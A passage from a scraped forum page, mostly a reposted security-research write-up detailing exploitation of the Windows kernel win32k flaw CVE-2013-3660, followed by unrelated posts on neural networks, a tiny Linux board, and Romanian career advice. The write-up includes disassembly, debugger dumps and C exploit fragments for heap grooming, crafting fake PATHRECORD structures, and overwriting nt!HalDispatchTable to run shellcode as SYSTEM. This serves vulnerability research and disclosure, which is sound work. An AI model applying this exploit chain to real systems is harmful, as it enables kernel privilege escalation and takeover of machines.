contain other data than 0 in the case the record was returned by the "win32k!PATHALLOC::freelist" linked list. Even though the system later initializes this field, there exists a branch that allows skipping this initialization in the case of a memory allocation failure: .text:001171E0 win32k!EPATHOBJ::pprFlattenRec ... .text:001E984C call EPATHOBJ::newpathrec .text:001E9851 cmp eax, 1 .text:001E9854 jnz short loc_1E9801 // taken if allocation failed ... .text:001E9801 xor eax, eax .text:001E9803 jmp loc_117371 ... .text:00117371 loc_117371: ... .text:0011737E leave .text:0011737F retn 4 The "win32k!EPATHOBJ::newpathrec()" method returns 0 in the case it cannot satisfy the memory allocation request. This happens when the "win32k!PATHALLOC::freelist" is empty, and "nt!ExAllocatePoolWithTag()" fails to allocate more memory. In this case, a PATHRECORD object containing an invalid next pointer has just been inserted into the linked list of PATHRECORD structures. Eventually a second call to "win32k!NtGdiFlattenPath()" will trigger an access violation when trying to dereference the record's next pointer in "win32k!EPATHOBJ::bFlatten()": .text:0011602C win32k!EPATHOBJ::bFlatten .text:0011602C .text:0011602C mov edi, edi .text:0011602E push ecx .text:0011602F mov eax, [esi+8] .text:00116032 test eax, eax .text:00116034 jz short loc_11605B .text:00116036 mov eax, [eax+14h] // Dereference invalid next pointer .text:00116039 .text:00116039 loc_116039: .text:00116039 test eax, eax .text:0011603B jz short loc_116053 .text:0011603D test byte ptr [eax+8], 10h // Crash here! 2. Exploitation on Windows 8 (32bit) 2.1 Controlling Uninitialized Pointer Exploiting this vulnerability requires controlling the value of the uninitialized next pointer. In order to do so, two conditions must be met when "win32k!EPATHOBJ::bFlatten" is called: 1) The first call to "win32k!EPATHOBJ::newpathrec()", must succeed and return a controlled PATHRECORD object from "win32k!PATHALLOC::freelist", which will be linked to the current PATHRECORD list. 2) The next call to "win32k!EPATHOBJ::newpathrec()" must fail due to memory exhaustion and exit the "win32k!EPATHOBJ::bFlatten()" function, leaving the next pointer uninitialized. The first step can be easily achieved by using the following piece of code: for (i = 0; i < 8192; i++) { points[i].x = 0x41414141 >> 4; points[i].y = 0x41414141 >> 4; pointTypes[i] = 0x10; } /* First call to PolyDraw fills exactly one page with controlled data. */ BeginPath(hDevice); PolyDraw(hDevice, points, pointTypes, 498); EndPath(hDevice); The "PolyDraw()" function will eventually lead to call "win32k!EPATHOBJ::newpathrec()" which will allocate a new 0xFC0h bytes chunk which will be filled with POINT structures containing 0x041414140 for x and y fields. The newly allocated chunk thus has the following layout in memory: kd> dd ecx + 0xc 82ad0014 00000000 00000000 00000017 000001f2 82ad0024 41414140 41414140 41414140 41414140 82ad0034 41414140 41414140 41414140 41414140 82ad0044 41414140 41414140 41414140 41414140 82ad0054 41414140 41414140 41414140 41414140 82ad0064 41414140 41414140 41414140 41414140 82ad0074 41414140 41414140 41414140 41414140 82ad0084 41414140 41414140 41414140 41414140 The "PolyDraw()" function is called a second time, but with a lower number of points in parameter: /* On BeginPath() previously allocated data is freed to the freelist. */ BeginPath(hDevice); /* Freed memory is reallocated during PolyDraw() call without memory being memset()ed thus the returned memory area is filled with user-controlled data.*/ PolyDraw(hDevice, points, pointTypes, 483); By doing this, the allocated chunk will be freed to the freelist, and immediately reallocated, this time with less points in the POINT array. The chunk layout is now as follows: kd> dd ecx + 0xc 82ad0014 00000000 82ad0f44 00000017 000001e3 82ad0024 41414140 41414140 41414140 41414140 82ad0034 41414140 41414140 41414140 41414140 82ad0044 41414140 41414140 41414140 41414140 82ad0054 41414140 41414140 41414140 41414140 82ad0064 41414140 41414140 41414140 41414140 82ad0074 41414140 41414140 41414140 41414140 82ad0084 41414140 41414140 41414140 41414140 ... 82ad0f44 41414140 41414140 41414140 41414140 The value 0x82AD0F44 is thus returned by "win32k!EPATHOBJ::newpathrec()", the vulnerable initialization code is then entered, and inserts the new PATHRECORD object into the PATHRECORD linked list: .text:001171E0 win32k!EPATHOBJ::pprFlattenRec ... .text:00117228 mov ebx, [ebp+newPathRecord] .text:0011722E mov esi, [ebp+currentPathRecord] .text:00117234 mov eax, [esi+4] // eax = currentPathRecord->prev .text:00117237 mov [ebx+4], eax // newPathRecord->prev= eax .text:0011723A lea eax, [ebx+0Ch] // eax = &(newPathRecord->records[]) .text:0011723D and dword ptr [eax], 0 // records[0] = 0 .text:00117240 mov [ebp+newPathRecord], eax .text:00117246 mov eax, [esi+8] // eax = currentPathRecord->flags .text:00117249 and eax, 0FFFFFFEFh .text:0011724C mov [ebx+8], eax // newPathRecord->flags = eax .text:0011724F cmp dword ptr [ebx+4], 0 .text:00117253 mov [ebp+var_F4], ebx .text:00117259 jz loc_117382 ... .text:00117382 mov eax, [edi+8] .text:00117385 mov [eax+14h], ebx // Set new record as head of the linked list The code will then try to flatten the PATHRECORD linked list, and eventually land on the following piece of code: .text:001E9841 lea ebx, [ebp+var_100] .text:001E9847 mov edi, edx .text:001E9849 mov [eax+4], ecx .text:001E984C call EPATHOBJ::newpathrec // Allocate a new PATHRECORD .text:001E9851 cmp eax, 1 .text:001E9854 jnz short loc_1E9801 // If allocation failed, leave function ... .text:001E9801 xor eax, eax .text:001E9803 jmp loc_117371 ... .text:00117371 loc_117371: ... .text:0011737E leave .text:0011737F retn 4 Since no more memory is available, the call to "win32k!EPATHOBJ::newpathrec()" fails. The function thus does not initialize the next pointer of the newly created PATHRECORD structure, which is now controlled by the attacker. Contrary to what was publicly stated, there is no race condition involved in this exploit. Even though a PATHRECORD with the next pointer set to 0x41414140 has been inserted in the list of PATHRECORD, nothing happens as far as the "win32k!EPATHOBJ::bFlatten()" method is not entered with this particular PATHRECORD list. Before triggering the access violation, the kernel memory is freed in order for all the subsequent calls to "win32k!newpathalloc()" to succeed: /* Trigger the bug: Insert crafted "next" pointer into PATHRECORD structure list */ FlattenPath(hDevice); /* Free memory: Let the kernel breath. */ while (NumRegion) DeleteObject(Regions[--NumRegion]); /* Trigger invalid pointer dereference. */ FlattenPath(hDevice); A second call to "FlattenPath()" thus triggers the access violation: .text:0011602C win32k!EPATHOBJ::bFlatten .text:0011602C .text:0011602C mov edi, edi .text:0011602E push ecx .text:0011602F mov eax, [esi+8] .text:00116032 test eax, eax .text:00116034 jz short loc_11605B .text:00116036 mov eax, [eax+14h] // Dereference invalid next pointer .text:00116039 .text:00116039 loc_116039: .text:00116039 test eax, eax .text:0011603B jz short loc_116053 .text:0011603D test byte ptr [eax+8], 10h // Crash here! eax == 0x41414140 2.2 Achieving Write4 Now that the next pointer is controlled, the goal will be to achieve a write-4 memory corruption by inserting a fake record into the PATHRECORD linked list. In order to craft a fake PATHRECORD, the next pointer is made to point into VirtuaAlloc()ed memory in userland containing a PATHRECORD structure: PathRecord = (PPATHRECORD)VirtualAlloc(NULL, sizeof *PathRecord, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); /* Craft PATHRECORD structures. */ PathRecord->prev = 0; PathRecord->next = (PPATHRECORD)&ExploitRecord; PathRecord->flags = 0; ExploitRecord.next = 0x41414141 >> 4; ExploitRecord.prev = 0x42424242 >> 4; ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH; ExploitRecord.count = 4; The code will process PathRecord object. Since the flag value is 0, the "win32k!EPATHOBJ::pprFlattenRec()" function is not entered. The next pointer is dereferenced, pointing to the ExploitRecord object. This time, since the PD_BEZIERS (0x10) flag is enabled, the object is processed by "win32k!EPATHOBJ::pprFlattenRec()": .text:0011602C mov edi, edi .text:0011602E push ecx .text:0011602F mov eax, [esi+8] .text:00116032 test eax, eax .text:00116034 jz short loc_11605B .text:00116036 mov eax, [eax+14h] // Get head of linked list .text:00116039 .text:00116039 loc_116039: .text:00116039 test eax, eax .text:0011603B jz short loc_116053 .text:0011603D test byte ptr [eax+8], 10h // is PATHRECORD a Bezier curve .text:00116041 jz short loc_11604F .text:00116043 push eax .text:00116044 mov ecx, esi .text:00116046 call EPATHOBJ::pprFlattenRec .text:0011604B test eax, eax .text:0011604D jz short loc_11605B .text:0011604F .text:0011604F loc_11604F: .text:0011604F mov eax, [eax] // move to next PATHRECORD .text:00116051 jmp short loc_116039 "win32k!EPATHOBJ::pprFlattenRec()" is then entered with the crafted PATHRECORD object: .text:00117202 lea esi, [ebp+var_F8] .text:00117208 lea ebx, [ebp+newPathRecord] .text:0011720E mov [ebp+var_EC], edi .text:00117214 mov [ebp+currentPathRecord], eax .text:0011721A call EPATHOBJ::newpathrec // succeeds because memory .text:0011721F cmp eax, 1 // was given back to kernel .text:00117222 jnz loc_1E9801 .text:00117228 mov ebx, [ebp+newPathRecord] // Address of record in ebx .text:0011722E mov esi, [ebp+currentPathRecord] .text:00117234 mov eax, [esi+4] .text:00117237 mov [ebx+4], eax // set next pointer .text:0011723A lea eax, [ebx+0Ch] .text:0011723D and dword ptr [eax], 0 .text:00117240 mov [ebp+newPathRecord], eax .text:00117246 mov eax, [esi+8] .text:00117249 and eax, 0FFFFFFEFh .text:0011724C mov [ebx+8], eax .text:0011724F cmp dword ptr [ebx+4], 0 .text:00117253 mov [ebp+var_F4], ebx .text:00117259 jz loc_117382 .text:0011725F mov eax, [ebx+4] .text:00117262 mov [eax], ebx // write4 corruption As we can see, the write4 operation has been successfully achieved. However, even if the content of the ebx register is controlled, its address is not, since it has been returned by "win32k!newpathalloc()" and is thus a pointer located in kernel land. Since the vulnerability allows controlling where data will be copied but not what will be copied, two different approaches have been used respectively for 32bit and 64bit architectures. In this blog, we will focus on the 32bit approach. 2.3 Finalizing Exploitation On x86, a pointer located at nt!HalDispatchTable+0x4 will be targeted for the write4 corruption. After the corruption has taken place, a call to "NtQueryIntervalProfile" will trigger the overwritten pointer and redirect the execution flow: PAGE:007631D1 nt!KeQueryIntervalProfile PAGE:007631D1 PAGE:007631D1 mov edi, edi PAGE:007631D3 push ebp PAGE:007631D4 mov ebp, esp PAGE:007631D6 sub esp, 14h PAGE:007631D9 cmp eax, 1 PAGE:007631DC jz short loc_763202 PAGE:007631DE mov [ebp+var_14], eax PAGE:007631E1 lea eax, [ebp+var_4] PAGE:007631E4 push eax PAGE:007631E5 lea eax, [ebp+var_14] PAGE:007631E8 push eax PAGE:007631E9 push 10h PAGE:007631EB push 1 PAGE:007631ED call off_5CCF2C // xHalQuerySystemInformation The kernel will then proceed to jump on the PATHRECORD since, on x86, pages allocated by "win32k!newpathalloc()" are executable and the kernel data located in the PATHRECORD happens to correspond to the value of the PATHRECORD next pointer. Since the crafted PATHRECORD is the last one of the PATHRECORD chain, the next pointer is NULL and the kernel will crash. One has to craft a PATHRECORD chain such that the PATHRECORD used to overwrite the nt!HalDispatchTable+4 pointer is not the last one of the chain. The next pointer must point to a PATHRECORD which needs to be located at an address such that this address translates to valid x86 opcode sequences. A good candidate sequence was found by Tavis: inc eax jmp [ebp + 0x40h] This translates into the dword 0x40FF6540 which can be mapped in userland. This address must contain a valid PATHRECORD which ends the chain. [ebp + 0x40h] is actually the location on the stack of the second argument of NtQueryIntervalProfile which is a pointer to a shellcode mapped in userland, leading to code execution with SYSTEM privileges on Windows 8 and prior. Reliable code execution can also be achieved on 64bit systems despite all exploit mitigations in place including SMEP (Supervisor Mode Execution Protection), however, we leave this as an exercice for the reader. Another exercice would be to turn this vulnerability into a sandbox escape which can be used with Google Chrome or Adobe Acrobat / Reader. © Copyright VUPEN Security Sursa: VUPEN Vulnerability Research Blog - Advanced Exploitation of Windows Kernel Privilege Escalation (CVE-2013-3660 / MS13-053)
  22. What Does a Neural Network Actually Do? There has been a lot of renewed interest lately in neural networks (NNs) due to their popularity as a model for deep learning architectures (there are non-NN based deep learning approaches based on sum-products networks and support vector machines with deep kernels, among others). Perhaps due to their loose analogy with biological brains, the behavior of neural networks has acquired an almost mystical status. This is compounded by the fact that theoretical analysis of multilayer perceptrons (one of the most common architectures) remains very limited, although the situation is gradually improving. To gain an intuitive understanding of what a learning algorithm does, I usually like to think about its representational power, as this provides insight into what can, if not necessarily what does, happen inside the algorithm to solve a given problem. I will do this here for the case of multilayer perceptrons. By the end of this informal discussion I hope to provide an intuitive picture of the surprisingly simple representations that NNs encode. I should note at the outset that what I will describe applies only to a very limited subset of neural networks, namely the feedforward architecture known as a multilayer perceptron. There are many other architectures that are capable of very different representations. Furthermore, I will be making certain simplifying assumptions that do not generally hold even for multilayer perceptrons. I find that these assumptions help to substantially simplify the discussion while still capturing the underlying essence of what this type of neural network does. I will try to be explicit about everything. Let’s begin with the simplest configuration possible: two inputs node wired to a single output node. Our NN looks like this: The label associated with a node denotes its output value, and the label associated with an edge denotes its weight. The topmost node represents the output of this NN, which is: In other words, the NN computes a linear combination of the two inputs and , weighted by and respectively, adds an arbitrary bias term and then passes the result through a function , known as the activation function. There are a number of different activation functions in common use and they all typically exhibit a nonlinearity. The sigmoid activation , plotted below, is a common example. As we shall see momentarily, the nonlinearity of an activation function is what enables neural networks to represent complicated input-output mappings. The linear regime of an activation function can also be exploited by a neural network, but for the sake of simplifying our discussion even further, we will choose an activation function without a linear regime. In other words, will be a simple step function: This will allow us to reason about the salient features of a neural network without getting bogged down in the details. In particular, let’s consider what our current neural network is capable of. The output node can generate one of two values, and this is determined by a linear weighting of the values of the input nodes. Such a function is a binary linear classifier. As shown below, depending on the values of and , one regime in this two-dimensional input space yields a response of (white) and the other a response of (shaded): Let’s now add two more output nodes (a neural network can have more than a single output). I will need to introduce a bit of notation to keep track of everything. The weight associated with an edge from the node in the first layer to the node in the second layer will be denoted by . The output of the node in the layer will be denoted by . Thus and . Every output node in this NN is wired to the same set of input nodes, but the weights are allowed to vary. Below is one possible configuration, where the regions triggering a value of are overlaid and colored in correspondence with the colors of the output nodes: So far we haven’t really done anything, because we just overlaid the decision boundaries of three linear classifiers without combining them in any meaningful way. Let’s do that now, by feeding the outputs of the top three nodes as inputs into a new node. I will hollow out the nodes in the middle layer to indicate that they are no longer the final output of the NN. The value of the single output node at the third layer is: Let’s consider what this means for a moment. Every node in the middle layer is acting as an indicator function, returning or depending on where the input lies in . We are then taking a weighted sum of these indicator functions and feeding it into yet another nonlinearity. The possibilities may seem endless, since we are not placing any restrictions on the weight assignments. In reality characterizing the set of NNs (with the above architecture) that exhibit distinct behaviors does require a little bit of work–see Aside–but the point, as we shall see momentarily, is that we do not need to worry about all such possibilities. One specific choice of assignments already gives the key insight into the representational power of this type of neural network. By setting all weights in the middle layer to , and setting the bias of the middle layer to , the activation function of the output neuron will output whenever the input lies in the intersection of all three half-spaces defined by the decision boundaries, and otherwise. Since there was nothing special about our choice of decision boundaries, we are able to carve out any arbitrary polygon and have the NN fire precisely when the input is inside the polygon (in the general case we set the weights to , where is the number of hyperplanes defining the polygon). This fact demonstrates both the power and limitation of this type of NN architecture. On the one hand, it is capable of carving out decision boundaries comprised of arbitrary polygons (or more generally polytopes). Creating regions comprised of multiple polygons, even disjoint ones, can be achieved by adding a set of neurons for each polygon and setting the weights of their respective edges to , where is the number of hyperplanes defining the polygon. This explains why, from an expressiveness standpoint, we don’t need to worry about all possible weight combinations, because defining a binary classifier over unions of polygons is all we can do. Any combination of weights that we assign to the middle layer in the above NN will result in a discrete set of values, up to one unique value per region formed by the union or intersection of the half-spaces defined by the decision boundaries, that are inputted to the node. Since the bias can only adjust the threshold at which will fire, then the resulting behavior of any weight assignment is activation over some union of polygons defined by the shaded regions. Thus our restricted treatment, where we only consider weights equal to , already captures the representational power of this NN architecture. Several caveats merit mention. First, the above says nothing about representational efficiency, only power. A more thoughtful choice of weights, presumably identified by training the NN using backpropagation, can provide a more compact representation comprised of a smaller set of nodes and edges. Second, I oversimplified the discussion by focusing only on polygons. In reality, any intersection of half-spaces is possible, even ones that do not result in bounded regions. Third, and most seriously, feedforward NNs are not restricted to step functions for their activation functions. In particular modern NNs that utilize Rectified Linear Units (ReLUs) most likely exploit their linear regions. Nonetheless, the above simplified discussion illustrates a limitation of this type of NNs. While they are able to represent any boundary with arbitrary accuracy, this would come at a significant cost, much like the cost of polygonally rendering smoothly curved objects in computer graphics. In principle NNs with sigmoidal activation functions are universal approximators, meaning they can approximate any continuous function with arbitrary accuracy. In practice I suspect that real NNs with a limited number of neurons behave more like my simplified toy models, carving out sharp regions in high-dimensional space, but on a much larger scale. Regardless NNs still provide far more expressive power than most other machine learning techniques and my focus on disguises the fact that even simple decision boundaries, operating in high-dimensional spaces, can be surprisingly powerful. Before I wrap up, let me highlight one other aspect of NNs that this “union of polygons” perspective helps make clear. It has long been known that an NN with a single hidden layer, i.e. the three-layer architecture discussed here, is equal in representational power to a neural network with arbitrary depth, as long as the hidden layer is made sufficiently wide. Why this is so is obvious in the simplified setting described here, because unions of sets of unions of polygons can be flattened out in terms of unions of the underlying polygons. For example, consider the set of polygons formed by the following 10 boundaries: We would like to create 8 neurons that correspond to the 8 possible activation patterns formed by the polygons (i.e. fire when input is in none of them (1 case), one of them (3 cases), two of them (3 cases), or any of them (1 case)). In the “deep” case, we can set up a four-layer NN such that the second layer defines the edges, the third layer defines the polygons, and the fourth layer contains the 8 possible activation patterns: The third layer composes the second layer, by creating neurons that are specific to each closed region. However, we can just as well collapse this into the following three-layer architecture, where each neuron in the third layer “rediscovers” the polygons and how they must be combined to yield a specific activation pattern: Deeper architectures allow deeper compositions, where more complex polygons are made up of simpler ones, but in principle all this complexity can be collapsed onto one (hidden) layer. There is a difference in representational efficiency however, and the two architectures above illustrate this important point. While the three-layer approach is just as expressive as the four-layer one, it is not as efficient: the three-layer NN has a 2-10-8 configuration, resulting in 100 parameters (20 edges connecting first to second layer plus 80 edges connecting second to third layer), while the four-layer NN, with a 2-10-3-8 configuration, only has 74 parameters. Herein lies the promise of deeper architectures, by enabling the inference of complex models using a relatively small number of parameters. In particular, lower-level features such as the polygons above can be learned once and then reused by higher layers of the network. That’s it for now. I hope this discussion provided some insight into the workings of neural networks. If you’d like to read more, see the Aside, and I also recommend this blog entry by Christopher Olah which takes a topological view of neural networks. Sursa: What Does a Neural Network Actually Do? « Some Thoughts on a Mysterious Universe
  23. VoCore: A coin-sized Linux computer with wifi What is VoCore? VoCore is a coin-sized Linux computer with wifi. It is also able to work as a full functional router. It runs OpenWrt on top of Linux. It contains 32MB SDRAM, 8MB SPI Flash and using RT5350(360MHz MIPS) as its heart. It provides many interfaces such as 10/100M Ethernet, USB, UART, I2C, I2S, PCM, JTAG and over 20 GPIOs but its size is less than one square inch(25mm x 25mm). What can You DO with VoCore? 1. Wireless a USB device such as printer, scanner, hard disk, camera and etc. 2. A remote control robot with camera. 3. A portable VPN router. 4. A wireless speaker. 5. A offline downloader. 6. WIFI -> TTL(or Serial Port) to control Arduino remotely. ... And many many possibilities, awaiting discovery! What will You Get? You will not only get the VoCore but also its full hardware design including sch, pcb, bom; full source code including boot loader, os(openwrt), applications. You are able to control EVERY BIT of your VoCore. Sursa: https://www.indiegogo.com/projects/vocore-a-coin-sized-linux-computer-with-wifi
  24. Termina facultatea. Conteaza cand se uita altii pe CV. Si primesti si vreo 16% in plus la salariu daca o ai, deducere de impozit.
  25. Daca nu ai mai lucrat la nicio firma nu cred ca iti da nimeni mai mult de 2000 RON/luna, 8h/zi. Poate doar cu bulan. Bine, salariile cresc ok in domeniu, in 6-12 luni e posibil sa ajungi pe la 30, iar in 2 ani pe la 50-60.
×
×
  • Create New...